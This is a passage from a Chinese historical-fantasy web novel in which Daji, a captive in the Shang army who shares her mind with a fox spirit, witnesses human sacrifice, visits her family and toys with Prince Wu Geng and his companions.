——祭祀乃商人重中之重的大事,别说她现在是俘,就算是王、是侯、是师亚、是首领,也必须遵循祭祀的要求,否则贵族们会联合反叛她。
帐外,送神之时,刑罚轮至羌人,凄厉惨叫仍在继续。
妲己跌坐在兽皮间,干呕几声。
并非没见过死亡,可今日的死亡,有一种真实,远远甚于前几世里,帝辛炮烙活人。
狐狸又安慰:“此世界就是残忍如此,你如今自身难保,就算想救也救不了。换个角度来想,若是商人落于羌人手中,下场也绝不会更好。”
妲己失魂问:“他们为何要用折磨人来祭祀?”
“唔……此间习俗就是如此。这里的人类,虽然懂一些因果逻辑。但他们仍不明白为何有暴雪、干旱、狂风,自己又为何会死亡、生病、倒霉。
操控这些的神秘力量,便是神。
他们认为神并不慈悲,反而莫测阴狠。
正如人暴怒时,会狂吼砸物;神暴怒,便要天象异常,要人病、死、霉。
既然如此,人类就猜想,若献祭一部分人,是否就能保住其余的大多数?
当献祭偶尔有用,就慢慢成了制度。
人牲,是人类对神明的贿赂。”
“贿赂?”妲己难以置信,“女娲娘娘在何处?”
九尾一怔。
她又问:“神仙们在何处?”
在她之前经历的世界里,女娲是狠心的宇宙总裁,但她对天下心怀悲悯,对百姓心有怜惜。
神明怎能接受如此残忍的贿赂?
9. 吉凶可测人牲祭天
狐狸一怔,竟一时难以回答。
神仙在何处?
在之前的世界里,似是不必问。
神一直有具象:或慈眉善目、或仙风道骨……
但如今世界有异,与那时已大不相同。
此处,有神仙吗?
「妲己臭宝,
非是商人生来无情,喜用人牲祭祀神明。
遥远的玛雅和纳尔瓦文化,都可窥得人祭的踪影。
如今我妖力有限,这世界的伊始不便勘观,
也罢,只看看人神共存之时,究竟是何等光景。
此地的人类自诞生之初身上就少有毛发,
光溜溜,丝滑滑。
严寒时节他们多生活在温暖地下*1。
他们短尾若猕,用泥土保暖,渐渐萌生了生命源于土壤的想法。
于是便有了女娲、盖亚,有了各种造人神话。
等等,我也看到了「仙」。
仙身高三米,鳞片覆身。
鳞片是大海的蓝,有着五彩斑斓的花痕。
他们的眼睛白○里有黑○,直视可使人眩晕。*2
所以在画卷里,仙君总是垂眸观世人。
但仙也会打架,
仙也要争斗。
仙们养奇怪的鱼,嘴里会喷火、江翻海倒;
仙们养奇怪的鸟,飞过时山火肆虐、遍野哀嚎。*3
废土之上曾升起蘑菇似的云,遮天蔽日,河枯山焦。
后来鱼生十个鳍,蛇又长四个角;
害我九尾生下来九根光秃秃的尾巴乱摇。
诸仙之战后,出现了许多怪兽,
可惜不到百年便都寿命告终。
好一派混乱无序,不知过了多少春秋。
但仙改变了我体内两条交缠的蛇,使我长寿于一般山猫野狗。
那时的人类,与如今一般个头。
喜欢窥探、尾随于仙的身后。
如同饲养我一般,仙也会饲养人类。
一些坏仙,还会与人类繁衍交珮。
好在这片土地的仙君鬼神大多善良,
偶尔还会满足人类奇怪的愿望。
他们带走了穷石的首领姮我,
还有神话中创世的女娲娘娘……
姮我你定不陌生,便是你所知的嫦娥,
传说中后羿是她的夫郎,精通骑射。
后羿又篡权了夏天子太康,引出后羿射日的鬼扯。
可女娲何曾识得伏羲,姮
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我也不识得后羿。
不过是后人强行将其凑在一处,伪造来的难分难舍。
后来寒浞蒸杀羿于桃梧,分食其肉,从此有穷国倾覆。*4
听到这里,或许你也已然大悟,
人类虽有了智慧,但更有着超乎动物的残酷。
女娲离开后,她健壮的后代掌管了部分部族。
可笑那些所谓的上古明君,又何等残忍无度,
后人不明所以,还向往崇拜上古。
譬如你看那黄帝,砍断了炎帝的手脚,
逼迫蚩尤吃她的秽物。
饶是如此犹不解恨,又肢解了蚩尤的尸骸:
发做成旗,皮做成鼓,胃做成球,……
叫来所有部落首领分食她的肉醢。
谁人敢不食,便是下一个蚩尤。*5
妲己臭宝,我早说过,这一世极为艰难,众生皆苦。
这里没有你认识的悲悯神仙,
更没有后世幻想的政和景明,先哲圣贤。
有的,只是原始的驱动、残忍的习俗,
与没完没了的战争杀戮……
吁,可叹也!
往事难溯回。
若非人心自渲染,何来万古颂光辉?」
10. 探双亲姊妹泪抛洒
次日,天光微显,妲己猛地惊醒。
因狐狸非要展示上古之事,她做了噩梦,一身冷汗。
梦的最后,仍是她被砍头,头被蒸在甗内,疼痛真实无比。
死亡,是一切的终点,也是人类最不愿面对的噩梦。
她拥衾而坐,圆滚滚的狐眼有些迷茫。
她很想与狐狸说话,可识海里狐狸正睡得四仰八叉。无可奈何,她只得披上兽皮,走出帐来。
此时的天空是深浓靛色,干净地晕向东边的浅蓝,无际中零星散落星辰几颗……
其实四月已过二旬,近于春末,但今祀的春末,却下了如此大雪,又如此冷彻。*1
妲己抬头仰望。旷野高风呼号,吹乱了她的发丝。
她在想:待天亮之后,武庚的眼睛好转,他会否更加笃信这是仙帝的保佑?
若真如此认为,日后王室中再有如此疾病,会否也要重复今日的一切?
那在她看来无意义的杀戮,却是商王朝凝聚信仰、震慑周国的手段。
而她偏生于此,若不想也有朝一日沦为祭品,就需想尽办法寻得出路……
是的,她怜惜那些惨死之人……
但她更要先活下去……
了解规则,利用规则……
唯有如此,才可能改变什么……
出神间,她身上渐渐发冷,这才叹了口气,怏怏转身回去。
武庚的帐前,两个守夜的近侍透过缝隙看到她举动,一脸不解。
~
祭祀之后,军队定于五日后拔营回程。
若王子眼伤未愈,届时大约还要再次祭祀选定时日。
武庚晨时醒来洗漱,明显感到双目肿胀已消,心中松快,面上也略有笑容。
鲁番觑着他神色,趁机禀告了妲己明时在帐前面容侘傺之事。
武庚正在由奴隶侍奉净手,闻言有些疑惑:“你是说,她只看天,并无言语?”
“正是。”
“可知是何故……”
“我私自去问了……”鲁番斗胆道,“她说思念父母。”
“……”武庚不语,若有所思。
~
午后,周伯邑奉王子命来到妲己帐中。
这次他不是一个人来,身后还有四个麻利的奴随着他鱼贯而入。
这几个奴隶有男有女,都是十二三的年纪,面容干净清秀、垂眼顺眉。手背和脸上有着深浅不一的烫痕与刺青,是不同部落的奴隶标记。
他们身着兽皮长袍、高领上衣、葛麻下衣,衣物挂着线,都没有包边和浸染,灰扑扑的似麻雀一群。
男奴隶头戴粗制的布发带,腰上围着短蔽膝;
女奴隶头上编着小辫盘起,腰上围一圈襜裙。
他们糙黑的手腕上,还有羊骨做的手钏——是唯一的装饰。
即便成为奴隶,人类爱美的天性仍然不灭,他们仍保留了打扮自己的权力。
每个奴隶手中都捧着一个木盘,放下之后就躬身退去。
妲己上前视看,只见木盒里竟是一套华服并玉饰:
丝里衣,帛长衣,滚边兽裘大氅。又有下裳被间隔浸染,呈现出缁、赭、绿三色;
玛瑙珠,松石珠,下坠双鱼玉佩,又连接精美饕餮纹玉璜,其工可谓精、巧、妙。
双鱼梳、玉骨簪,丝帛发箍绣满花纹,缝着粉红贝壳,黄白玉石,累累落下流苏。
一套衣衫,极其华贵,竟不知何处寻来。*3
固然,所谓华贵,只是相对于当下的条件。
妲己在前几世见过、戴过的比这奢靡百倍,还能用纤纤玉手拈起葡萄这种水果喂喂纣王。
她抬头望向周伯邑,妩媚一笑:“嗳,这是何意?”
周伯邑的语气刻意而疏离:“是王子送予你。”
“这算……赏赐?”
“是答谢。王子还准许你回有苏国见亲族,换好衣服后,我会送你。”
周伯邑看似面容平静,心中其实介意。
王子何曾对哪位女子如此体贴,更莫说是献给天子的贡女,实在叫人忧虑。
狐狸大笑,“便宜儿子果然孝顺,竟已开始学着讨好你。”
妲己也笑,口中道:“那还要烦请替我谢过王子好意。”
为了送妲己回有苏,武庚还特意匀了一辆青铜马车予她。
列位看官,可莫将此看不起,这车就是商代的兰博基尼。
且不说整辆马车都需青铜、漆木、皮革辅助接衔,光是正圆的轮子,也需要高超的技巧和工艺。
就算到了后世,非洲的原始部落仍造不出正圆的轮子,更遑论青铜大车这等高级用具。
所以,这马车虽只能三人站立,在此时却可谓先进至极。
再看那拉车的马,宛如两头巨大的黑色怪物,亦是玄色宝驹。马的四足粗壮如海碗,肩高竟七尺有余。
此种巨马最是昂贵,唯有各国质子们有资格御骑,如今却被用来为她拉车。
妲己现身,款款登上马车,周遭的男女武士、奴隶仆从皆是一寂。
她不装扮,尚且令质子们神思大乱、隐隐要起内讧,此番装扮了,更是如龙吉下凡,姮我降临*4。
商人从来崇拜各路鬼仙。可鬼仙是什么模样,谁也不曾见过。
但若世上真有鬼仙,大抵也不过如此。*2
他们想看她,却又不敢看。也是生平头一遭,这群只知征战杀戮的武士竟有了闪躲的念头!
偏好此时,崇应彪在栅寨门外撒尿,见马车出来,再看清车上之人,立即收起「武器」,狗见肉般冲去拦住,凶悍大叫:“邑,你要带俘去何处?!”
周伯邑隐隐头疼,跳下马车,“彪,王子有令,我送妲己回一趟有苏,你莫要生事。”
“她回有苏作甚?她已献给天子,与有苏还有何瓜葛?!”
“你若有疑问,自己去问王子。”
“呵……你休要拿禄压我,我现在抓住你,就要问你!”
要看两人争执不下又要动手,鲁番适时冲了过来,大声道:“公子彪,王子唤你去清点粮草!”
崇应彪如何肯听?最后还是靠鲁番叫了人来硬拖拽走。
饶是如此,他犹不罢休,频频回头瞪向妲己。
妲己看到并不很气,反还冲他嫣然一笑。
崇应彪脸上蓦地一红,猛地扭头回去。
“奇怪,彪为何如此恨我?”妲己笑吟吟问周伯邑。
周伯邑复又上马车,望着前方,淡淡说道,“彪虽然冲动鲁莽,却不傻,能感知到怪异之处。”
狐狸听了,怪道:“嗯?他这话是何意?倒好似在点你。”
妲己慢条斯理地拢着发髻,“无妨,我还唯恐他不点。”
狐狸更疑惑,不知她葫芦里卖的什么药。
~
回到有苏国,嫄己,苏护,妲己的妹妹妺己,全都在等她。
一见到妲己,家人无不激动万分,将她围拥哭泣。
妲己安抚父母一阵,却不见小弟,不由问:“忿生怎不来?”
妺己拭泪道:“他上次未能救你,说无颜再见你。”
妲己默然不语。
忿生那小儿,正是犯傻的年纪,也确实梗头梗脑,颇有些崇应彪的脾性。
妲己无奈道:“他不来也好,其实我今日归来,正有一要事想求父母妹妹……”
嫄己擦泪道:“好女,什么求不求的,你只管说来。”
妲己先在门缝看了看,确认周伯邑远远站在篱外,这才回身小声说道:“你们可还记得,去祀我去林中,捡到的那头白猿?”
“金戈?”妺己叹气,“姊竟还惦念它?它近来春日躁动,食量极大,总是四处偷东西吃。昨日我放它回山林,今日它又跑回来,真真叫我愁死。”
原来,去祀妲己与妺己前往林间为巫医采药,曾捡到一只白猿。
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这猿生得很奇特,天生白毛红眼,所以被母亲抛弃在路边。妲己和妺己见它可怜,便将它捡来养大。
两人是它名义上的娘,为它起名为金戈,养在林中小屋,闲来无事便陪它玩耍,教它识字跳舞。
“回来就好,我正要用它。”妲己从怀中拿出一个竹筒,打开给母亲看;里面别无他物,只有一段布条。她更加低声说道:“母,商军五日后就要拔营,到了那日,你们悄悄将金戈放出在军前,再将这竹筒里的布条与它闻了,叫它去寻气味相同之人。”
苏护不解:“好女,这是何意?”
“父,我此时无法细说,你们只要照做便是。切记切记。”
话至此处,周伯邑已来叩门:“妲己,你我该归营了。”
嫄己忙将竹筒收入怀中,郑重说道:“好女,有我与你父在此,你万事无需心急,自放心归去便是。只是这一别,此生又知何时才能再见你……若日后受了委屈,谁又来为你撑腰……”说到这里,她再度流泪,心如刀绞,“我可怜的女,你务必要将自己顾好……”
妺己与父亲也哽咽难言,泣不成声。
妲己心中纵然百般不舍,却如何能不走。打开门时,她又回头深望父母妹妹一眼,再三咬牙,这才决绝离去。
~
回程时,日头向西而悬,红光漫天。
周伯邑先将妲己送回帐里,嘱咐守卫看管好,随后才回自己营帐。
刚到帐口,就听到内里传来崇应彪的大叫:
“——妲己定在引诱于你!你莫不信我!”
周伯邑掀帘的手一顿。
此时,崇应彪急得脸红脖子粗,正在和武庚争辩:“你莫要被她迷惑,你若不信,我去为你试探她如何?”
武庚手支着额角,因为眼上蒙布的缘故,叫人读不出情绪。
他冷声问:“你想如何试探?”
“我就去问她,说,「你治好王子,王子欲娶你,或命你随意择人嫁之」,看她是何反应!呵……她肯定要说嫁你!”
武庚轻嗤一声,隐隐发笑。
彪费劲读着他表情,有些疑惑——
怎么王子听了自己的话,反而有些愉悦起来?
不,一定是自己看错!
周伯邑听着里面没了动静,这才掀帘进入。
察觉到冷气涌入,武庚微微侧头,随即问:“是邑归来?”
周伯邑躬身:“是我。已送妲己见过族人。”
武庚越发笑意明显:“她可欢喜?”
周伯邑神色复杂,“她……确实欢喜。”
听出他声音异样,武庚心头一转,猜到原因:“方才彪之所言,你已听到。”
“是……”
“既如此,你如何看,说来。”
周伯邑先看了彪一眼,这才道:“我认为彪之顾虑,其实不无道理……”
崇应彪讶异打量他,语气热络了三分,“哎呀,邑,想不到你这人确实不错!”
武庚没想到他会帮着彪说话,手指敲击着几案,一时不再言语。
周伯邑觉得彪点破了这事,是个不错的契机,恳切再劝:“王子,我知你感激妲己医治。若她无异心固然好,确认后再留下照顾也心安。但若真有异心,王子合该将她疏远……”
“哼,只是疏远?不用惩戒?”崇应彪不以为然。
“不可否认,妲己确实救治有功。”
“有功?若非她跑掉,我们压根碰不到那些夷人!”
“并非是她跑,而是筑欺瞒。”
“在我看来并无有区别!”
“好了,勿吵。”
武庚喝止两人,顿了一会儿,沉声说出决断:
“既然你二人想问,去问来就是。横竖你们放心后,不许再用此事烦我。”
崇应彪闻言,一脸的喜色,“禄,你尽管信我判断。要我说,你索性就在暗处去听,看我如何套出她的真心话儿来!”
11. 探双亲姊妹泪抛洒
问:当两个宿敌同时现身,且言语间还十分和睦,这意味着什么?
答:意味着他们有了共同的新敌人。
此时,妲己帐内,彪与邑遥遥跽坐在她对面,严阵以待,要对付的正是她这个新敌人。
为此,她反而妖媚尽现,笑得格外亲和,柔柔发问:“不知二位来访,所为何事?”
崇应彪被她的模样儿搞得浑身发毛。
明明她连武士都不算,为何令他有种成了猎物的错觉?
他清清嗓子,刻意大声道:“妲己,你救治王子有功,王子要许你恩赏。你可在营中寻个你看中的武士,嫁予他,不必朝商。”
又假装和善地补充:“你不必有顾虑,所有人你皆可选,即便嫁王子也使得。”
妲己眨眨眼,做作掩口:“嗳呀,所有人皆可?王子也可?”
崇应彪见她上钩,黑圆的虎眼更笑弯了:“不错。”
“可我是贡女。”
“无妨,天子只有禄一个儿子,视若珍宝,只要他要,天子就给。”
妲己眨眨眼,反而看向周伯邑:“公子邑,他所说可当真?”
周伯邑点头:“当真。”
妲己万分感动,脸颊羞红:“真想不到,王子竟待我如此好……”假意思索半晌,却又摇头,“虽如此,王子许我见家人,我已十分满足,如何敢有他想?”
“诶?你这人!”崇应彪直起身来,“叫你选你便选,呶呶这些作甚!”
妲己瞟他,眼神无辜,笑却更挑衅,“哦,那你又急甚?横竖又不选你!”
“你——!”
这女人说话恁地气人!!
“彪,”周伯邑忙拉住他,对妲己以退为进:“若你不选,便罢了,只是错过这次,再无机会。”
她果然触动,低头不语。
周伯邑与崇应彪交换一个眼神,二人皆松口气。
总算,妲己抬起头来,娇滴滴,羞怯怯,迟疑疑:
“嗳呀,我若说来,恐你们生气。”
周伯邑:“你且说来,我二人绝不生气。”
“我若说来,也恐你们不许。”
崇应彪:“你且说来,我替王子准许。”
妲己这才嫣然而笑,一声叹息,吊得二人满脸焦急,这才开口:“那我选——
公子邑。”
崇应彪正预备出帐向王子高呼自己的正确,起了一半忽然僵住:“你说甚?”
周伯邑几乎是同时失声:“你说甚?!”
她天真无邪地重复:“我选公子邑。”手指指向周伯邑,“选你。”
“啊……”周伯邑滑稽地张着嘴,活似一条濒死的鱼,一向沉稳的他双手乱舞,简直不敢想象帐外的王子是何脸色!“妲己!你、你休要乱说!”
识海里,妲己和狐狸几乎笑死过去,可面上仍然无辜,楚楚表达倾慕:“我不曾乱说,来到这里后,你对我嘘寒问暖、照顾有加,在这里,你是对我最好、最温柔之人。你又如此俊嫽……我想,世间女子,大约无有不倾慕你的。”
她半真半假地表白:“邑是天下最好的男人。”
崇应彪险些被她活活噎死。
「如此俊嫽」?
「天下最好的男人」?
「世间女子无有不倾慕的」?
好可怜!你眼睛很大,却这个岁数就已瞎!
周伯邑急急辩解,“妲己,你不可选我,我已有心上人,我二人已谈婚论嫁!”
这话已全然不是为了说予她,而是说予帐外的王子。
“啊……这样?”妲己有点真心吃惊,又一脸失望,“不是说……选谁都可吗?”
“我、我不可!”
她蹙眉,忽地转向崇应彪:“可否请你先出去,我有话同公子邑单独说。”
崇应彪瞪眼,又瞪周伯邑,不料自己突然成了多余的那个。
他霍地起身,拂袖而去。
“诶,彪……”周伯邑的呼唤听来十分无力。
妲己这才看向周伯邑,“邑似乎与旁人十分不同……”
其音妙达,其声蛊惑。
周伯邑已经方寸大乱,含混问:“有何不同。”
“你可知,我从小就被人喜欢……三岁时,我门前便全是小儿所赠礼物;六岁时,他们已会为谁与我要好而打架。我不必做什么,只需坐在那处,便无人不心悦我,无人不逢迎我,多到令人厌恶。便是彪那般傻犬,貌似凶恶,也偷看我几回。唯有你。”
她佯作惋惜叹息,“你看向我时,与看旁人并无不同。我从未见过你这样的人。为何?”
妲己此问,也算发自肺腑。
印象中前八世里,除开某一世与邑青梅竹马,两人相恋,余下全是她的一厢情愿。*1
因为第一次遇到这样的人,她感到疑惑;因为疑惑,又心生好奇;因为好奇,便格外关注,时间久了,便有些入魔。
此时,周伯邑深吸一口气,诚恳道:“妲己,我实在是再平凡不过之人,竟不知你会在意我看向谁。
我承认,你容貌确实嫽盛,但你这般嫽容罕见之人,自然有同样不凡的人去配,与我实在无关。我与心上人相识多年,志趣相投,此间情感至深,言语难以明说,绝非只是外貌吸引……
我想这世间之道也是如此:树有树配,草有草配,在我心中,我的爱人,已是世间最好、极好之人。不知这样说,你会否理解。”
妲己挑眉,“你这话听来十分新奇。”
“但我心中实话即是如此。”
妲己扫过他认真的神色,顿了顿,方叹:“唉……既如此,我又怎能强求?但除你之外,我并不想选旁人,烦请你同王子说,送个奴照顾我即可,就算谢过。”
~
回到自己营帐时,周伯邑正看到崇应彪从里面出来——
彪子挤眉弄眼,面上写满了“你也有今日”的幸灾乐祸。
他深吸一口气,这才掀帐进入。
帐内,衡牙正服侍武庚更衣,动作格外轻缓。皆因王子浑身上下俱散发着诡异冷气,怕是一点小错也会惹他发火。
“王子……”周伯邑干干出声,又没了下文。
武庚开口,语气淡淡:“这下,你彻底放心?”
周伯邑看到衡牙同情看了自己一眼。
他额上冒汗,“我,我不知她多想……”
武庚打断,“她是何想法与我无关。横竖她对我无甚想法,可以继续为我看治。”
周伯邑抿唇:“是……”
帐中陷入了诡异寂静……
衡牙扶着武庚坐在牀边,抱着他换下的衣物火速躲去一旁,以免被殃及池鱼。
正是无比凝滞沉重的时刻,武庚活动着手腕,忽地笑了一声,一字字重复:
“嘘寒问暖、照顾有加。”
“禄!”周伯邑一惊,急得腔调都变了,“妲己是贡女,我绝没有多余言行!”
武庚笑容冷郁,“你有或无,与我何干?她若真有异心,你合该将她疏远才是。”
——此话一出,周伯邑汗流浃背
——这正是他先前劝王子的话,一字
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不差。
也怪他关心则乱、一时脑热,怎能和彪一起乱来!
彪一向对妲己颇无好声气,怎能不令那精怪女人起疑?
思及此处,他脑中忽地一亮,醒悟过来,“王子,其实、其实妲己或许已猜到我与彪的意图,故意这般说,戏弄于我二人。”
武庚的声线果然缓和了一些:“哦,你这样觉着?”
“不错,定是如此。”
武庚只笑笑,不置可否,卧下睡觉。
周伯邑不知他是信还是不信,也只得草草洗漱滚上牀。
这一夜,他如睡针毡。
总觉得哪里很不对劲,又说不上来。
~
“噗嗤!桀桀桀……”
狐狸只要一想到周伯邑那一脸要死的表情,就漏气狂笑,笑声无比反派。
好个蠢蛋二人组——
妲己这等吃人不吐骨头的妖孽,挑拨离间都算是基础操作。她如今肯如此乖乖地蛰伏,权因初来乍到,尚不了解各人脾性,所以出手谨慎温柔。
猎物们不谢天谢地苟住也就罢了,反而还自己巴巴送上门来叫她杀,委实死得不冤。
它又笑嘻嘻告知妲己:“收到三个时辰。从这个数量来看,武庚吃了大醋,不知邑会否有好果子吃。”
妲己也娇声一嗤:“活该。”
狐狸贼贼凑向她,“你故意报复邑,对否?因为他从来瞧你不上。”
妲己眸子一眯,笑得危险:“狐狐,仔细你的皮。”
“嘿……瞧你,人家是担心你余情未了。”
妲己懒懒犯困,说道:
“你实在想多。哪怕我之前对他还有些情绪,今日听完他的解释,也已经悟了。你也知晓,我自小靠美貌与聪敏顺风顺水,难免过于自恋,无法容忍有人不屈从于我的魅力……可其实细想来,即便不被选择,也属正常。不选择我之人,也不过是凡人……”
狐狸:“额,倒也不要这样说,邑情深专一,也算善良,确实罕见。你心仪也值得。”
妲己不以为然,“情深且善良之人,并不罕见,凡世女子大多有此美德。”她叹气,“是我对邑的喜爱,令他特别。果然,世人不论美丑老幼,一旦钻了牛角尖,都是庸人……连我也不例外。”
她微微懊悔,“正如他所说,他是草,自然要去配草,他才快活。若太阳强行靠近,只会令草焦灼。而我既身为太阳,自该在天上寻找伴侣,又何必要对一棵草倾注太多?”
世间人,各有各的缘法。
既然如此,又何需在意一人之喜恶?
狐狸嫌弃地翻了个白眼:“恭喜你,用自恋的方式完成了心灵进化。”
妲己亦笑:“同喜同喜,你我一体。”
~
清晨,武庚起床来,依旧是似晴非晴的淡淡模样,惹得衡牙仍轻手轻脚,周伯邑更不知如何开口才好。
这时巫医进帐,不知昨日插曲,还在热烈关切:“王子,今日眼伤可好些?是否要叫妲己来换药?”
帐内果然又静了三分。
“额……”巫医察觉到气氛古怪,左看右看,干笑,“这、这是怎了……”
武庚慢声道:“不必去叫她,我自去就是。”才起身,又侧头笑问,“诶,邑,我去换药,可要同去?”
周伯邑抬袖擦汗,低声道:“不、不了……”
“哦,也是,我怎忘记,你如今极为放心。”
“禄……”
周伯邑难受无比,正要开口解释,已被武庚凉凉打断:“衡牙,带我过去。”
12. 青女姚现身诉过往
狐狸早知道,依照妲己那绵绵无形的引诱与算计,再加上昨日呷醋,武庚今日必然会来——
此一步,将其被动化为主动,是妲己惯用伎俩。
只是不曾想,武庚竟将近侍留在帐外,只自己一人进来。
它怪笑着感慨:“嘿,你尚未使出十分手段,武庚竟已盼着独处……”
妲己起身上前,却故意在武庚面前两米站定,语气故作惊讶,“王子怎来了我这里?”
武庚被无名怨气折磨了一宿,此时冷淡语气里夹枪带棒:
“怎地,不是邑来请你,很失望。”
这话甫一说出口,他就暗暗后悔。
——看不到妲己的表情,不知她会否因此生气
果然,对面没了声音,他在一片黑暗中越发烦躁。
正要摸索着上前,脚下一踉跄,被人从怀中支住。
手已条件反射地扣在了她的肩头:
肌理柔软丰弹,包裹着瘦仞的肩骨……
温香忽然盈怀,他心里天旋地转,发晕般站不住。
妲己扶着他坐在牀畔,声音自头顶传来:“小心些。”
武庚嘴唇微动,本想再说些刺人的话,却忽地一阵酸涩,喉头压了千斤。
妲己在窸窸窣窣地准备东西,他只冷着脸,僵坐着,心头莫名委屈。
不一会儿,只听到妲己又惊诧道:“嗳,你肩头怎在渗血?”
他语气冷淡,“不妨事。伤口裂开。”
“你肩上有伤?之前怎不说?巫医怎不为你疗愈?”
“区区小伤,无需在意……”
“那也该处理一下才是。不若……你将外衣除去,我为你看看伤口?”
“……”武庚正心思烦乱,未作迟疑,胡乱将衣服剥去,露出肩头来。
妲己忍笑挑眉,先将他的身体放肆欣赏一遍。
果然是猿背狗腰,垒块分明,手臂肌肉若山脉起伏。尤其武庚还十分干净,不但发丝清爽,身上还涂有香膏。
那气息怡人,似雨后、似草原、又有隐隐粟香。
狐狸亦咬着爪爪流下长长口涎:“嘶……此等肉质,吃来最有嚼劲、弹牙,嘤嘤,可惜……”
可惜它如今连嘴巴都无,难以享此口福。
妲己莞尔,欣赏够了,才看到肩上一道深深伤口,横在肌肉纹理与浅淡旧伤之上,触目惊心。
这是小伤?
她心中不免感慨:“也亏得禄不在意,否则又少不了祭祀一场。”
贵族一旦头疼脑热,人牲便是人头落地。
狐狸并不在乎,“时代如此,你又何需耿耿于怀?”
“哦~我耿耿于怀?那第一世比干用狐狸皮做大氅,也并非都是你徒子徒孙,是谁哭天喊地要我弄死他全家?”
狐狸一怔,顿时嘤嘤哭唧起来:“……你这无心肝的狼人,只会戳人伤疤的……”
一时她只顾着与狐狸斗嘴,忘了武庚。
初时王子还默不作声地等着,时间一久,忽地意识到她好似在看自己,顿时身上也可观地赤红,语气微微严厉质问:“你怎不疗伤?”
妲己瞬时回神,嘴快说道:“我在看你。”
“……”
他好像被她的直率震惊,脸上更红,表情也好似更气。
“唔,我是说……”她掩口一笑,“看你伤势。”
说着,她取来煮过的干净布条,盈盈跪坐在他身后擦拭伤口周围,眼见他耳红如血,紧绷非常,又起了恶意,轻轻吹拂两下。
武庚小腹的线条顿时绷紧,手不自觉地攥住。
“疼?”此时妲己确如狐妖一般,探头凑在他耳边,声音是索命的缕缕细丝,笑容是戏弄的魅惑狡诈。
他声音发哑,强自镇定:“小伤。不疼。”
“哦,我看你攥拳……还以为是疼痛的缘故……”她的手顺着他的手腕缓缓向下,虚虚拢住他的拳头,在他耳畔道:“无需紧张,放松些……”
他喉结来回滚动,强迫自己松开拳,忍受着她的吹拂。
“这样才对。”她为他上药,又轻声闲话似的说道:“说来,我还是第一次见男子果身……”
狐狸的白眼险些翻得收不回来,“呸”了一声。
武庚频频吞咽唾液,生硬道:“好好治伤,勿有他念。”
说给她,也是说给自己。
妲己也不过点到为止,顺势委屈巴巴:“自然,我怎敢对王子有他念?我对王子有敬有畏,仅此而已。”
武庚听闻这话,更觉刺心,偏又发作不得。
妲己用布条妥帖为他将肩上的伤绑好,假意叮嘱,“此处明日再拆开见风。我再为你看看眼伤。”
布条解下,双眼的红肿早已褪去一半——或说,武庚面上极红,倒并不显得眼皮格外红。
“看着大好,似不必再敷药。”妲己为他擦拭了,柔声引诱,“你且睁眼试试?可能看到火盆?”
他依言睁开,眼前模糊一片,只隐隐见到火盆中火光跳动。
“不甚清楚。”
“许是离得太远……”她呵气如兰,伸手轻轻勾住他的下巴,勾转过来,“可能看清我?”
她直身跪在牀上,比他高出一些,他便只能将她仰视。
可他不妨她如此凑近,此时猝然转头过去,只觉脑中一处似陶窑炸炉……
仿佛看到了她,又好似眩晕般看不清楚。
想要垂下视线,却偏偏又落在衣衫之间:隐隐锁骨凸现,萦萦柔香清浅。
她明明毫无过分之举,却只叫人筋骨酥软,身若火烹。正有诗曰:
眼横瑶池千波泛,鬓堆昆仑万重山。
何需小将牛刀试,望之神魂俱已瘫。
体内,兵败如山倒的酸麻瞬时袭来,沉戈落入腹下,无比清晰地突突蹦跳,连厚重的蔽膝也几乎难以压住。
“怎不说话?”她歪头,凑得更近。
润红的唇似乎只要探头,就可吃到。
“看……不到……”
他的呼吸在发抖,是因为青涩。
她的呼吸也在发抖,是因为兴奋。
尤其这个令她兴奋的人,前几世,还叫她「母后」。
眼见武庚双眼迷醉,大约都连自己是谁都想不起,妲己却偏不让他享受太久,立即抽身去找药,假惺惺叹气:“既如此,还是再敷一天药物为佳。”
武庚仰头僵在那处,看来梦犹未醒,十分可怜。
狐狸认为,妲己如此折磨人,纯纯是前八世被压抑成了变态,但看一眼寿命,又美滋滋地尖叫:“三个时辰!”
妲己为武庚敷药,也重新将眼睛缠好。
布条环绕间,她的身体也随之时近时远,引得他的心忽上忽下。
“好了。”她为他在一侧绑了个花样,暗暗发笑。
他穿上衣衫,才要起身,却察觉身下太过明显,又坐了回去,低沉道:“我……有些口渴。可否倒杯水来……”
妲己今日赏过了王子「美色」,极是和善,倒了水递在他嘴边,又说:
“我只有这一个杯,你莫要嫌弃。”
他抬手扶着她的手,将冷水一口饮下……
~
帐外,周伯邑正向着栅营中奴隶的住处走去,一脸愁容。
妲己已经说了要个奴隶,少不得还要同王子索要,他还是该有备无患挑选个上佳的,届时也好叫王子心情缓和。
也是倒霉,走了一半,正撞到崇应彪在巡营,他虽快速转身避开,彪子还是看到他冲了过来:“邑!”
周伯邑的表情混似牙疼。
崇应彪“嘿嘿”笑着,问:“你去何处?”
他坦然回答:“去为妲己挑个奴。”
“哦~~”崇应彪狗里狗气地发着怪声,“昨日,禄不曾责罚你?”
他忍耐着道:“他为何要责罚我?”
“嗤——”崇应彪知他在装,也不纠结,反而低声笑说:“我昨日回去,又有一个发现,正要说与你。”
他四下看看,窃窃私语,“我认为禄的眼伤根本不重,是妲己故意说重!”
周伯邑果然一怔:“缘何这样说?”
“昨日我去时,禄正换药,他眼睛不红不肿,已经可以模糊视物,竟差不多恢复。可你再想想妲己那时是如何说的?有性命之危!那不就是扯谎?”
“……”
周伯邑没附和,但心中深以为然。
可眼下他与禄的关系正尴尬,绝不可能
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再触这个霉头;于是他看向崇应彪,意味深长道:“你既看出来,怎不去说?呵,莫不是不敢?”
彪一愣,叫道:“我为何不敢?”
“那你去说。”
“那我就去说!”彪被他激得发了脾气,还撂下狠话:“你等着看!我可不像你,只会在女人身上下功夫!”
周伯邑感觉额头的血管又在突突跳动了。
彪那张破嘴,仿佛淬过毒,说出来的话永远令人心堵。
心字头上一把刀,他硬是强忍着不理,一路走远。
~
果然不出周伯邑所料,武庚回帐后第一件事,就是要为妲己寻个奴。
换过药的武庚,心情不知为何突然大好,语言间温柔得诡异:“随便为她挑个好看的、伶俐的、年龄适中的、牙无龋齿的。哦,也要懂得服侍,最好会盘发。”
这一串要求,听上去实在毫不“随便”!
此时正临近小食,周伯邑领着挑好的奴隶端了饭食,去见妲己。
那奴隶放下食盘,跪地拜了一拜,很是乖巧。
妲己笑问:“这是送我的?”
周伯邑麻木点头:“她原是我的奴,众奴隶里唯她生得最好,王子特转赠于你。”
那奴隶欢喜抬头,口齿清晰地甜甜道:“主人,我唤作青女,姚姓。王子与公子送我侍奉主人。”
狐眸将她好好看了两眼。
只见这女孩穿个兽皮小袄,面上、手上有些精致刺青,又生得一副可人模样,正是:
